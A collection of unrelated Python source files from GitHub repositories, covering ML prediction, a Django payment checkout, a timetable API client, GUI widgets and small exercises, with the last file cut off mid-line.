thresholds.append(t)\n\n threshold_found = np.median(thresholds)\n\n print(\"Thresholds\", thresholds)\n print(f\"Applying threshold {threshold_found}\")\n\n preds_df = preds_df.applymap(\n lambda x: custom_round(x, threshold=threshold_found)\n )\n\n return preds_df\n\n\nimport lightgbm as lgb\n\nfrom lgbm_regr import get_dt_str\n\nfrom transfer_df import upload_pickled, usecols\n\nif __name__ == \"__main__\":\n\n # model = pickle.load(open(\"models/elastic_model_2020-05-04_20:25:51\", \"rb\"))\n\n # model = lgb.Booster(model_file=r\"models/booster_2020-05-24_10:48:36.txt\")\n\n # val_list = list(range(1912, 1914))\n\n # preds_df = predict_step_by_step(\n # model, target_list=val_list, target_exists=True, threshold=False\n # )\n\n # validate(preds_df)\n\n # validate(postprocess_predictions(preds_df, choose_threshold=True))\n\n # val_list or target_list\n # preds_df = preds_df.rename(\n # {f\"d_{x}\": f\"F{num}\" for num, x in enumerate(val_list, start=1)}, axis=1\n # )\n\n # preds_df.to_csv(\"preds.csv\", sep=\",\", header=True, index=True)\n\n #####\n # SUBMISSION\n #####\n\n model = lgb.Booster(\n model_file=r\"models/lgbm_2020-06-02_21:39:29/booster_2020-06-03_06:01:27.txt\"\n )\n\n # val_list = list(range(1914, 1914 + 28 + 1))\n\n # preds_df = predict_step_by_step(\n # model, target_list=val_list, target_exists=False, threshold=False\n # )\n\n # # val_list or target_list\n # preds_df = preds_df.rename(\n # {f\"d_{x}\": f\"F{num}\" for num, x in enumerate(val_list, start=1)}, axis=1\n # )\n\n # preds_df.to_csv(f\"submission_{get_dt_str()}.csv\", sep=\",\", header=True, index=True)\n\n upload_pickled()\n\n","repo_name":"fortis3000/rnn","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28158808678","text":"#!/usr/bin/env python3\n\nimport os\nimport re\nimport sys\nfrom datetime import datetime\n\nimport requests\nimport xlrd\n\nfrom api import (Descripciones, Jnj2, Organismo, Puesto, dict_from_txt,\n get_cod_dir_latlon, get_direcciones_txt, money,\n simplificar_dire, soup_from_file, yaml_from_file)\n\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\n\nre_etiqueta = re.compile(r\"^(\\S+)\\s+\\[(\\d+),\\s*(\\d+)\\]\\s*$\")\nre_space = re.compile(r\" +\")\nre_number = re.compile(r\"^\\d+,\\d+$\")\n\nif not os.path.isfile(\".ig_leer_puestos\"):\n sys.exit(\"Ha de crear un fichero .ig_leer_puestos\")\n\n\ndef parse(cell, parse_number=True):\n if not cell:\n return None\n v = cell.value\n if isinstance(v, float):\n return int(v) if v.is_integer() else v\n if isinstance(v, str):\n v = v.strip()\n v = re_space.sub(\" \", v)\n if parse_number and re_number.match(v):\n v = float(v.replace(\",\", \".\"))\n return int(v) if v.is_integer() else v\n return v if len(v) else None\n return v\n\n\npuestos = Puesto.load(name=\"2017_L\")\nunidades = {p.ranking: p.idUnidad for p in puestos}\nurl = None\nwith open(\".ig_leer_puestos\") as f:\n lineas = [l.strip() for l in f.readlines() if l.strip()]\n url = lineas[0]\n\n\ndef get_ok_index(idUnidad, *arg):\n last_unidad = None\n index = 0\n for a in arg:\n unidad = unidades[a]\n if last_unidad is None or unidad != last_unidad:\n last_unidad = unidad\n index = index + 1\n if unidad == idUnidad:\n return index\n return -1\n\n\ndef contar(*arg):\n i = 0\n for a in arg:\n if a is None:\n return i\n i = i + 1\n return i\n\n\nr = requests.get(url+\"&raw=1\")\nwb = xlrd.open_workbook(file_contents=r.content)\nsh = wb.sheet_by_index(2)\n\nrenuncias = 0\nopositores = 0\noks = {}\nfor rx in range(1, sh.nrows):\n row = [parse(c) for c in sh.row(rx)]\n asignacion = row[1]\n if asignacion is None or asignacion < 1:\n continue\n if asignacion > 1000:\n renuncias = renuncias + 1\n continue\n peticion = [abs(int(i))\n for i in row[3:] if i is not None and abs(int(i)) != 0]\n opositores = opositores + 1\n unidad = unidades[asignacion]\n index = get_ok_index(unidad, *peticion)\n ok = oks.get(index, 0) + 1\n oks[index] = ok\n\nj2 = Jnj2(\"j2/\", \"docs/\")\nj2.save(\"asignacion.html\",\n oks=oks,\n now=datetime.now().strftime(\"%d-%m-%Y %H:%M\"),\n opositores=opositores,\n renuncias=renuncias\n )\n","repo_name":"s-nt-s/TAI-Madrid","sub_path":"crear_asignacion.py","file_name":"crear_asignacion.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"es","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"5370505956","text":"from itertools import combinations\nnumbers = \"17\"\n# numbers = \"011\"\n\n# numbers는 길이 1 이상 7 이하인 문자열입니다.\n# numbers는 0~9까지 숫자만으로 이루어져 있습니다.\n# \"013\"은 0, 1, 3 숫자가 적힌 종이 조각이 흩어져있다는 의미입니다.\n\ncount = 0\n\n\nprint(count)\n","repo_name":"dongury1114/Algorithm-for-codingtest","sub_path":"python/프로그래머스/level.2/소수 찾기.py","file_name":"소수 찾기.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22075021224","text":"\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.uic import *\nfrom myPeaks import *\nfrom myDetector import *\nfrom peakEditDlg import *\n\n\n\nclass myPeakTableWidget (QTableWidget) :\n\n numPeaks = 0\n #headList = QString(\"Num;H;K;L;len(XYZ)^-1;2-theta;Gonio[5];nu\").split(\";\")\n headList = ['Num','H','K','L','len(xyz)^-1','2-theta','Gonio[5]','nu']\n myDet = 0\n peaks = 0\n imname =''\n numPeaks = 0\n\n\n def __init__(self, parent=None) :\n QTableWidget.__init__(self, parent)\n hhead = QHeaderView (Qt.Horizontal)\n hhead.setVisible(False)\n self.setHorizontalHeader (hhead)\n self.setColumnCount (8)\n self.setRowCount(8)\n #self.setHorizontalHeader (hhead)\n # peak table widget\n #hhead.setVisible(True)\n self.setHorizontalHeaderLabels(self.headList)\n #for i in range(8) :\n #for j in range(8) :\n #newItem = QTableWidgetItem(\"%d %d\"%(j,i))\n #self.setItem(i, j, newItem)\n self.setSelectionBehavior (QAbstractItemView.SelectRows)\n self.cellDoubleClicked.connect (self.peakEdit)\n\n def setImageFileName (self, imname) :\n self.imfile = imname\n\n\n def setDetector (self, det) :\n self.myDet = det\n\n\n def setPeaks (self, peaks) :\n self.peaks = peaks\n count = 0\n self.setRowCount (len(peaks))\n for p in peaks :\n # redo this to match IDL routine\n str = '%d'%count\n self.setItem (count, 0, QTableWidgetItem(str))\n str = '%d'%p.HKL[0]\n self.setItem (count, 1, QTableWidgetItem(str))\n str = '%d'%p.HKL[1]\n self.setItem (count, 2, QTableWidgetItem(str))\n str = '%d'%p.HKL[2]\n self.setItem (count, 3, QTableWidgetItem(str))\n val = vlength (p.XYZ)\n xy = p.DetXY\n str = '%.2f'%(1./val)\n self.setItem (count, 4, QTableWidgetItem(str))\n str = '%.2f'%p.tth\n self.setItem (count, 5, QTableWidgetItem(str))\n #tthval = self.myDet.calculate_tth_from_pixels(xy, self.myDet.gonio)\n # xyz = self.myDet.calculate_xyz_from_pixels (xy, self.myDet.gonio)\n str = '%.3f'%p.Gonio[5]\n self.setItem (count, 6, QTableWidgetItem(str))\n str = '%.3f'%p.nu\n self.setItem (count, 7, QTableWidgetItem(str))\n count = count + 1\n\n\n self.numPeaks = count\n self.resizeColumnsToContents()\n\n def addPeak (self, peak) :\n xy = peak.DetXY\n str = '%d'%xy[0]\n self.setItem (self.numPeaks, 0, QTableWidgetItem(str))\n str = '%d'%xy[1]\n self.setItem (self.numPeaks, 1, QTableWidgetItem(str))\n tthval = self.myDet.calculate_tth_from_pixels(xy, self.myDet.gonio)\n str = '%f'%tthval\n self.setItem (self.numPeaks, 2, QTableWidgetItem(str))\n self.numPeaks += 1\n\n \"\"\" peakEdit\n method called by dbl clicking of the peakTableWidget item\n will open a dialog to further edit the peak parameters\n \"\"\"\n def peakEdit (self, row, col):\n #open peakEditDlg\n curpeak = self.peaks[row]\n pedit_dlg = peakEditDlg (curpeak, row)\n pedit_dlg.setImageFile (self.imfile)\n pedit_dlg.exec_()\n\n","repo_name":"comptech/atrex","sub_path":"Software/myPeakTableWidget.py","file_name":"myPeakTableWidget.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"173525419","text":"from django.shortcuts import render , redirect\nfrom courses.models import Course , Video , Payment , UserCourse\nfrom django.shortcuts import HttpResponse\n# Create your views here.\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.decorators import login_required\nfrom codewithvirendra.settings import *\nfrom time import time\n\nimport razorpay\nclient = razorpay.Client(auth=(KEY_ID, KEY_SECRET))\n\n\n@login_required(login_url='/login')\ndef checkout(request , slug):\n course = Course.objects.get(slug = slug)\n user = request.user\n action = request.GET.get('action')\n order = None\n payment = None\n error = None\n try:\n user_course = UserCourse.objects.get(user = user , course = course)\n error = \"You are Already Enrolled in this Course\"\n except:\n pass\n amount=None\n if error is None : \n amount = int((course.price - ( course.price * course.discount * 0.01 )) * 100)\n # if ammount is zero dont create paymenty , only save emrollment obbect \n \n if amount==0:\n userCourse = UserCourse(user = user , course = course)\n userCourse.save()\n return redirect('my-courses') \n # enroll direct\n if action == 'create_payment':\n\n currency = \"INR\"\n notes = {\n \"email\" : user.email, \n \"name\" : f'{user.first_name} {user.last_name}'\n }\n reciept = f\"codewithvirendra-{int(time())}\"\n order = client.order.create(\n {'receipt' :reciept , \n 'notes' : notes , \n 'amount' : amount ,\n 'currency' : currency\n }\n )\n\n payment = Payment()\n payment.user = user\n payment.course = course\n payment.order_id = order.get('id')\n payment.save()\n\n\n \n context = {\n \"course\" : course , \n \"order\" : order, \n \"payment\" : payment, \n \"user\" : user , \n \"error\" : error\n }\n return render(request , template_name=\"courses/check_out.html\" , context=context ) \n\n@login_required(login_url='/login')\n@csrf_exempt\ndef verifyPayment(request):\n if request.method == \"POST\":\n data = request.POST\n context = {}\n print(data)\n try:\n client.utility.verify_payment_signature(data)\n razorpay_order_id = data['razorpay_order_id']\n razorpay_payment_id = data['razorpay_payment_id']\n\n payment = Payment.objects.get(order_id = razorpay_order_id)\n payment.payment_id = razorpay_payment_id\n payment.status = True\n \n userCourse = UserCourse(user = payment.user , course = payment.course)\n userCourse.save()\n\n print(\"UserCourse\" , userCourse.id)\n\n payment.user_course = userCourse\n payment.save()\n\n return redirect('my-courses') \n\n except:\n return HttpResponse(\"Invalid Payment Details\")\n \n \n \n","repo_name":"feelfreetocodecourse/course-seeling-website-Django-","sub_path":"courses/views/checkout.py","file_name":"checkout.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"39500964901","text":"\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param root: The root of binary tree.\n @return: Inorder in ArrayList which contains node values.\n \"\"\"\n # recursion\n def inorderTraversal(self, root):\n return self.dfs(root)\n\n def dfs(self, root):\n if not root:\n return []\n left = self.dfs(root.left)\n right = self.dfs(root.right)\n return left + [root.val] + right\n\n # non-recursion\n def inorderTraversal1(self, root):\n if not root:\n return []\n ans, stack, curt = [], [], root\n while curt or stack:\n while curt:\n stack.append(curt)\n curt = curt.left\n curt = stack.pop()\n ans.append(curt.val)\n curt = curt.right\n return ans\n","repo_name":"jwyx3/practices","sub_path":"python/binary-tree-inorder-traversal.py","file_name":"binary-tree-inorder-traversal.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38313391827","text":"#!/user/bin/env python\nimport os\n\nfrom app import create_app, db\nfrom app.models import User, Role\nfrom flask_script import Manager, Shell\nfrom flask_migrate import Migrate, MigrateCommand\n\n\ndef init_manage(config_name):\n app = create_app(config_name or 'default')\n manager = Manager(app)\n migrate = Migrate(app, db)\n\n def make_shell_context():\n return dict(app=app, db=db, User=User, Role=Role)\n manager.add_command('shell', Shell(make_context=make_shell_context))\n manager.add_command('db', MigrateCommand)\n\n return manager\n\n\ndef main():\n config_name = os.environ.get('FLASK_CONFIG') or 'default'\n manager = init_manage(config_name)\n manager.run()\n\nif __name__ == \"__main__\":\n main()","repo_name":"kwin-wang/flask-learn","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20089467596","text":"from sqlalchemy import Column, String\nfrom sqlalchemy.orm import relationship\n\nfrom src.database import Base\n\n\nclass Actor(Base):\n name: str = Column(\n 'actor_name',\n String(length = 64),\n nullable = False\n )\n\n movie = relationship(\n 'Movie',\n secondary = 'movie_actors',\n back_populates = 'actor'\n )","repo_name":"week-with-me/quiz-server","sub_path":"src/model/actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24870582141","text":"#!/usr/bin/env python\n\nfrom grovepi import *\nfrom grove_rgb_lcd import *\n\nwhile(True):\n setText(\"Hello world\\nLCD test\")\n setRGB(0,128,64)\n for c in range(0,255):\n setRGB(c,255-c,0)\n time.sleep(0.01)\n setRGB(0,255,0)\n setText(\"Bye bye, this should wrap\")\n time.sleep(1.5)\n\n","repo_name":"sauloalrpi/grovepi","sub_path":"lcd/lcd.py","file_name":"lcd.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72605098435","text":"def print_meniu():\n print(\"1.Citire lista: \")\n print(\"2.Afișarea tuturor numerelor negative nenule din listă \")\n print(\"3.Afișarea celui mai mic număr care are ultima cifră egală cu o cifră citită de la tastatură. \")\n print(\"4.Afișarea tuturor numerelor din listă care sunt superprime. \")\n print(\"5.Afișarea listei obținute din lista inițială în care numerele pozitive și nenule au fost înlocuite cu CMMDC-ul lor \")\n print(\"6.Iesire program.\")\n\n\ndef citire_lista():\n list = []\n n = int(input(\"Cititi numarul de elemente: \"))\n for i in range(n):\n list.append(int(input()))\n return list\n\n\ndef afisare_numere_negative(list):\n list = []\n n = int(input(\"Cititi numarul de elemente: \"))\n for i in range(n):\n if i <= -1:\n i -= 1\n print(i)\n\ndef ultima_cifra(list, val):\n \"\"\"\n Afișarea celui mai mic număr care are ultima cifră egală cu o cifră citită de la tastatură\n :param val: cifra\n :return val: cel mai mic numar din lista\n \"\"\"\n min = 999\n ok = 0\n for x in list:\n if abs(x) % 10 == val:\n if min > x:\n min = x\n ok = 1\n\n if ok == 1:\n return min\n return None\n\n\n\ndef afisare_numere_superprime(list):\n if a < 2:\n return False\n for i in range(2, a // 2 + 1):\n if a % i == 0:\n return False\n return True\n\nn = int(input(\"Dati numarul de numere\"))\nfor i in range(n):\n a = int(input(\"Dati un numar\"))\n if superprim(a) == False:\n print(\"Numarul nu este superprim\")\n else:\n print(\"Numarul este superprim\")\n\n\ndef test_numere_superprime():\n assert prim(8) == False\n assert prim(5) == True\ntest_numere_superprime()\n\n\ndef main():\n\n\n test_numere_superprime()\n list = []\n while True:\n print_meniu()\n option = int(input(\"Alegeti optiunea:\"))\n if option == 1:\n list = citire_lista()\n elif option == 2:\n print(afisare_numere_negative(list))\n elif option == 3:\n print()\n elif option == 4:\n print(afisare_numere_superprime(list))\n elif option == 5:\n print(ultima_cifra(list, val))\n elif option == 6:\n break\n else:\n print(\"optiune invalida ! Reincercati !\")\n\n\nif __name_ == \"_main_\":\n main()\n","repo_name":"AP-MI-2021/lab-4-RalucaSas","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14296692539","text":"\"\"\"\n67. Add Binary\nhttps://leetcode.com/problems/add-binary/\n\"\"\"\n\nclass Solution:\n def addBinary(self, a: str, b: str) -> str:\n # O(n + m) time an space.\n if a == '0': return b\n if b == '0': return a\n\n res = ''\n n_a, n_b = len(a) - 1, len(b) - 1\n carry = 0\n while n_a >= 0 or n_b >= 0:\n total = carry\n\n if n_a >= 0:\n total += int(a[n_a])\n n_a -= 1\n\n if n_b >= 0:\n total += int(b[n_b])\n n_b -= 1\n\n res = str(total % 2) + res\n carry = total // 2\n\n if carry:\n res = '1' + res\n return res\n","repo_name":"mathvolcano/leetcode","sub_path":"0067_addBinary.py","file_name":"0067_addBinary.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36500060076","text":"from torch.optim import lr_scheduler\n\n\n\n\n\ndef get_scheduler(optimizer, opt):\n scheduler = None\n if opt == \"lambdarule_1\":\n def lambda_rule(epoch):\n #print(epoch)\n if epoch < 60:\n lr_l = 0.01\n elif 60 <= epoch < 101:\n lr_l = 0.002\n return lr_l\n scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=lambda_rule) \n\n\n if opt == \"lambdarule_e1000\":\n def lambda_rule(epoch):\n #print(epoch)\n if epoch < 300:\n lr_l = 0.01\n elif 300 <= epoch < 650:\n lr_l = 0.002\n else:\n lr_l = 0.0004\n return lr_l\n scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=lambda_rule) \n\n return scheduler\n\n if opt == \"multistep\":\n \n scheduler = lr_scheduler.MultiStepLR(optimizer, [250, 400, 550], 0.2) \n\n return scheduler\n\n\n","repo_name":"Myyyr/memory","sub_path":"models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38534267794","text":"import json\nimport requests\nimport re\nimport sys\nfrom enum import Enum\n\nfrom lesson import Lesson\n\n\nclass SelectionType (Enum):\n CLASS = 0\n STUDENT_ID = 4\n\n\nclass Skola24Api:\n def __init__(self, domain: str = \"lel.skola24.se\", name: str = \"\", xscope=\"8a22163c-8662-4535-9050-bc5e1923df48\"):\n self.domain = domain\n self._xscope = xscope\n\n self.schools = None\n self.classes = None\n\n self.render_key = None\n\n self.headers = {\n \"X-Scope\": self._xscope,\n \"Content-Type\": \"application/json\"\n }\n\n self.session = requests.Session()\n\n self.timestamp_re = re.compile('[\\d]{1,2}:[\\d]{2}')\n\n self.current_school = self.get_school(name)\n\n def _get_render_key(self):\n r = self._get(\"https://web.skola24.se/api/get/timetable/render/key\")\n self.render_key = r.json()['data']['key']\n return self.render_key\n\n def _post(self, url, data):\n return self.session.post(url, headers=self.headers, data=json.dumps(data))\n\n def _get(self, url):\n return self.session.get(url, headers=self.headers)\n\n def get_school(self, name):\n r = self._post(\"https://web.skola24.se/api/services/skola24/get/timetable/viewer/units\", {\n \"getTimetableViewerUnitsRequest\": {\n \"hostName\": self.domain\n }\n })\n self.schools = r.json()[\n 'data']['getTimetableViewerUnitsResponse']['units']\n find_school = list(filter(lambda x: x['unitId'] == name, self.schools))\n if len(self.schools) == 1:\n self.current_school = self.schools[0]\n elif len(find_school) > 0:\n self.current_school = find_school[0]\n else:\n self.current_school = None\n return self.current_school\n\n def get_classes(self):\n body = {\n \"hostName\": self.domain,\n \"unitGuid\": self.current_school['unitGuid'],\n \"filters\": {\n \"class\": True,\n \"course\": False,\n \"group\": False,\n \"period\": False,\n \"room\": False,\n \"student\": True,\n \"subject\": False,\n \"teacher\": False\n }\n }\n r = self._post(\n \"https://web.skola24.se/api/get/timetable/selection\", body)\n print(r.json()[\"data\"])\n self.classes = r.json()['data']['classes']\n return self.classes\n\n def get_class(self, name):\n if not self.classes:\n self.get_classes()\n find = list(filter(lambda x: x['groupName'] == name, self.classes))\n if len(find) > 0:\n return find[0]\n return None\n\n def get_student_signature(self, student_id: str):\n r = self._post(\n \"https://web.skola24.se/api/encrypt/signature\", {\"signature\": student_id})\n return r.json()[\"data\"][\"signature\"]\n\n def get_class_lessons(self, class_name: str, year: int = 2022, week: int = 1):\n return self.get_lessons(self.get_class(class_name)[\n 'groupGuid'], SelectionType.CLASS, year, week)\n\n def get_student_lessons(self, student_id: str, year: int = 2022, week: int = 1):\n return self.get_lessons(self.get_student_signature(\n student_id), SelectionType.STUDENT_ID, year, week)\n\n def get_lessons(self, selection: str, selection_type: SelectionType, year: int, week: int) -> list[Lesson]:\n body = {\n \"renderKey\": self._get_render_key(),\n \"host\": self.domain,\n \"unitGuid\": self.current_school['unitGuid'],\n \"startDate\": None,\n \"endDate\": None,\n \"scheduleDay\": 0,\n \"blackAndWhite\": False,\n \"width\": 10000,\n \"height\": 10000,\n \"selectionType\": selection_type.value,\n \"selection\": selection,\n \"showHeader\": False,\n \"periodText\": \"\",\n \"week\": week,\n \"year\": year,\n \"privateFreeTextMode\": None,\n \"privateSelectionMode\": False,\n \"customerKey\": \"\"\n }\n r = self._post(\"https://web.skola24.se/api/render/timetable\", body)\n data_list = r.json()['data']\n return data_list\n\n def get_timeslot(self, class_name, timeslot):\n ignore_fontsize = 0\n data = self.get_timetable_data(class_name)\n for el in data['textList']:\n if self.timestamp_re.match(el['text']):\n ignore_fontsize = el['fontsize']\n break\n # Get all timestamps\n times = list(filter(lambda x: self.timestamp_re.match(\n x['text']) and x['fontsize'] != ignore_fontsize, data['textList']))\n\n lunch = list(filter(lambda x: timeslot.lower()\n in x['text'].lower(), data['textList']))\n lunch_boxes = []\n for i in range(len(lunch)):\n lunch_boxes.append(list(filter(lambda x: \"width\" in x\n and x['bcolor'] == '#C0C0C0' # TODO\n and lunch[i]['x'] >= x['x']\n and lunch[i]['x'] <= x['x'] + x['width']\n and lunch[i]['y'] >= x['y']\n and lunch[i]['y'] <= x['y'] + x['height'], data['boxList']))[0])\n\n def nearest(value, arr, key):\n if len(arr) < 1:\n return None\n closest = arr[0]\n for el in arr:\n if abs(el[key] - value) < abs(closest[key] - value):\n closest = el\n return closest\n\n correct_times = []\n for i in range(len(lunch)):\n start = nearest(lunch_boxes[i]['y'], times, 'y')['text']\n end = nearest(lunch_boxes[i]['y']+lunch_boxes[i]\n ['height']+times[0]['fontsize'], times, 'y')['text']\n correct_times.append((start, end))\n return correct_times\n","repo_name":"BeMain/skola24-gcalendar","sub_path":"src/skola24_api.py","file_name":"skola24_api.py","file_ext":"py","file_size_in_byte":5980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23559739881","text":"def check_tidy(x):\r\n x = str(x)\r\n cur = x[0]\r\n for i in range(1, len(x)):\r\n if (x[i] >= cur):\r\n cur = x[i]\r\n else:\r\n return False\r\n return True\r\n\r\ndef last_tidy(x):\r\n while not check_tidy(x):\r\n x -= 1\r\n return x\r\n\r\nt = int(input())\r\nfor n in range(t):\r\n print(\"Case #{}: \".format(n+1), end='')\r\n print(last_tidy(int(input())))\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/3822.py","file_name":"3822.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71153802113","text":"from django.shortcuts import render\nfrom rest_framework import generics\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework.decorators import action\nfrom rest_framework import status\n\n\nfrom api.v1.general.service import (\n create_data,\n delete_data,\n get_data,\n get_object,\n not_found_error,\n update_data\n)\nfrom api.v1.company.models.models import (\n Company,\n)\nfrom api.v1.company.serializers.company_serializers import (\n CreateCompanySerializers,\n DeleteCompanySerializers,\n GetCompanySerializers,\n UpdateCompanySerializers,\n)\n\n# Create your views here.\n\n\nclass CreateCompanyView(APIView):\n @swagger_auto_schema(request_body=CreateCompanySerializers)\n @action(detail=False, methods=['post'])\n def post(self, request, format=None):\n data = create_data(CreateCompanySerializers(data=request.data))\n if data.get('success') == True:\n return Response(\n data, status=status.HTTP_201_CREATED\n )\n return Response(\n data, status=status.HTTP_400_BAD_REQUEST\n )\n \n\nclass GetUpdateDeleteCompanyView(APIView):\n def get_queryset(self):\n items = Company.objects.select_related('in_branch',)\n return items\n \n @action(detail=False, methods=['get'])\n def get(self, request, pk, format=None):\n item = get_object(self.get_queryset(), pk)\n if item:\n serializers = GetCompanySerializers(item)\n return Response(\n get_data(serializers),\n status=status.HTTP_200_OK\n )\n return Response(\n not_found_error(pk),\n status=status.HTTP_400_BAD_REQUEST\n )\n \n @action(detail=False, methods=['patch'])\n @swagger_auto_schema(request_body=UpdateCompanySerializers)\n def patch(self, request, pk, format=None):\n item = get_object(self.get_queryset(), pk)\n if item:\n serializers = UpdateCompanySerializers(item, data=request.data, partial=True)\n return Response(\n update_data(serializers),\n status=status.HTTP_200_OK\n )\n return Response(\n not_found_error(pk),\n status=status.HTTP_400_BAD_REQUEST\n )\n\n @action(detail=False, methods=['get'])\n def delete(self, request, pk, format=None):\n item = get_object(self.get_queryset(), pk)\n if item:\n data = delete_data(item)\n if data.get('success'):\n return Response(\n delete_data(item),\n status=status.HTTP_200_OK\n )\n return Response(\n delete_data(item),\n status=status.HTTP_400_BAD_REQUEST\n )\n return Response(\n not_found_error(pk),\n status=status.HTTP_400_BAD_REQUEST\n )\n","repo_name":"Yuldashev222/edu-crm","sub_path":"api/v1/company/views/company_view.py","file_name":"company_view.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6338973082","text":"import torch\nfrom torch.functional import Tensor \nfrom torch.nn.functional import one_hot\n\ndef precision(true_positives: Tensor,\n pred_positives: Tensor,\n n_classes: int,\n exclude_cls=None):\n if exclude_cls is None:\n exclude_cls = []\n selected_classes = [cls for cls in range(n_classes) if cls not in exclude_cls]\n \n precision_per_class = (true_positives / pred_positives)[selected_classes]\n mean_precision = precision_per_class[~torch.isnan(precision_per_class)].mean()\n return mean_precision.item(), {cls: dice.item() for dice, cls in zip(precision_per_class, selected_classes)}\n\ndef recall(true_positives: Tensor,\n positives: Tensor,\n n_classes: int,\n exclude_cls=None):\n \n if exclude_cls is None:\n exclude_cls = []\n selected_classes = [cls for cls in range(n_classes) if cls not in exclude_cls]\n \n recall_per_class = (true_positives / positives)[selected_classes]\n mean_recall = recall_per_class[~torch.isnan(recall_per_class)].mean()\n return mean_recall.item(), {cls: dice.item() for dice, cls in zip(recall_per_class, selected_classes)}\n \ndef true_positives(y_true,\n y_pred,\n n_classes,\n exclude_cls=None):\n \n if exclude_cls is None:\n exclude_cls = []\n selected_classes = [cls for cls in range(n_classes) if cls not in exclude_cls]\n \n y_true_oh = one_hot(y_true, num_classes=n_classes)[..., selected_classes]\n y_pred_oh = one_hot(y_pred, num_classes=n_classes)[..., selected_classes]\n true_positives_per_class = torch.sum(y_true_oh * y_pred_oh, dim=[-2,-3,-4]) # sum over x,y image dim\n return true_positives_per_class\n\ndef positives(y_true,\n n_classes,\n exclude_cls=None):\n \n if exclude_cls is None:\n exclude_cls = []\n selected_classes = [cls for cls in range(n_classes) if cls not in exclude_cls]\n \n y_true_oh = one_hot(y_true, num_classes=n_classes)[..., selected_classes]\n postives_per_class = torch.sum(y_true_oh, dim=[-2,-3,-4]) # sum over batch,x,y image dim\n return postives_per_class\n\n\ndef pred_positives(y_pred,\n n_classes,\n exclude_cls=None):\n \n if exclude_cls is None:\n exclude_cls = []\n selected_classes = [cls for cls in range(n_classes) if cls not in exclude_cls]\n \n y_pred_oh = one_hot(y_pred, num_classes=n_classes)[..., selected_classes]\n pred_positives_per_class = torch.sum(y_pred_oh, dim=[-2,-3,-4]) # sum over batch,x,y image dim\n return pred_positives_per_class","repo_name":"oliverester/valuing-vicinity","sub_path":"src/exp_management/evaluation/precision_recall.py","file_name":"precision_recall.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70322244995","text":"# import StringDouble\n# import ExtractGraph\nimport stanford_parse as NLP\nimport re\nimport nltk\n\n\n\n# return a dict {review_pair: docID}\nclass ExtractOpinions:\n # Extracted opinions and corresponding review id is saved in extracted_pairs, where KEY is the opinion and VALUE\n # is the set of review_ids where the opinion is extracted from.\n # Opinion should in form of \"attribute, assessment\", such as \"service, good\".\n extracted_opinions = {}\n\n def __init__(self):\n return\n\n # preprocessing text before parsing\n def preprocessing(self,review_content):\n plain_text = review_content\n plain_text = plain_text.strip()\n plain_text = plain_text.replace(' ',' ')\n ## try whether or not strip punctuation.\n #plain_text = re.sub(r'[^\\w\\s]', '', plain_text)\n # plain_text = plain_text.lower()\n return plain_text\n\n def extract_pairs(self, review_id, review_contents):\n sNLP = NLP.StanfordNLP()\n\n # devide whole paragraph into sentences\n review_contents = nltk.tokenize.sent_tokenize(review_contents )\n # print(review_contents)\n l = ['nsubj', 'amod','compound']\n\n for review_content in review_contents:\n # text =self.preprocessing(review_content)\n # text = text.replace('/',' / ')\n # # print(text)\n text = review_content\n\n a = sNLP.dependency_parse(text)\n # print(a)\n if a:\n # text = re.sub('([.,!?()])', r' \\1 ', text)\n # text = re.sub('\\s{2,}', ' ', text)\n # text = text.split(' ')[:-1]\n # print(text)\n text = sNLP.word_tokenize(text)\n # print(text)\n for i, j, 